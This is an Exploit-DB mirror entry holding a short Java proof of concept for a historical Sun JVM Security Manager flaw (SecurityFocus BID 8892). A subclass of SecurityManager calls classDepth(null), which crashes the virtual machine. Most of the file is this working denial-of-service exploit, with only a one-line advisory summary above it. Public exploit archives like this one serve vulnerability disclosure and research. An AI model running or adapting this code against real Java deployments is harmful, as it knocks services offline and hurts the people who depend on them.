exploit-db-mirror/exploits/multiple/dos/23292.java
Offensive Security b4c96a5864 DB: 2021-09-03
28807 changes to exploits/shellcodes
2021-09-03 20:19:21 +00:00

18 lines
No EOL
554 B
Java

source: https://www.securityfocus.com/bid/8892/info
A problem has been reported in the Sun Microsystems Java Virtual Machine that occurs when implementing the Security Manager. Because of this, an attacker may be able to crash the virtual machine.
/* InsecurityManager-Demonstration */
/* coded by Marc Schoenefeld */
public class InSecurityManager extends SecurityManager {
public void doit() {
System.out.println("doit");
int o = classDepth(null);
}
public static void main(String[] a) {
InSecurityManager m = new InSecurityManager();
m.doit();
}
}